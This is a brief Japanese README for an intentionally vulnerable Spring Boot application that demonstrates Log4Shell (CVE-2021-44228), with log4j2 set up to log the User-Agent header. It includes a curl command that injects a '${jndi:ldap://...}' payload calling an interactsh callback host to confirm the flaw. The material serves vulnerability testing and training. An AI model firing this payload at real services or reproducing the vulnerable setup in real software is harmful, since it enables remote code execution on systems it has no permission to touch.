Log4Shell (CVE-2021-44228) に対して脆弱なシンプルなSpring Bootアプリケーション

• デフォルトのロギングフレームワークをlogbackからlog4j2に変更

アプリケーションは'User-Agent'ヘッダーをログに記録するため、curlと、例えば interactsh-service を使用して脆弱性をテストできます。

curl -A '${jndi:ldap://interactsh-url/a}' http://target-service/

app.interactsh.com でDNSインタラクションが確認できるはずです。

Docker hub

Docker hub へのリンク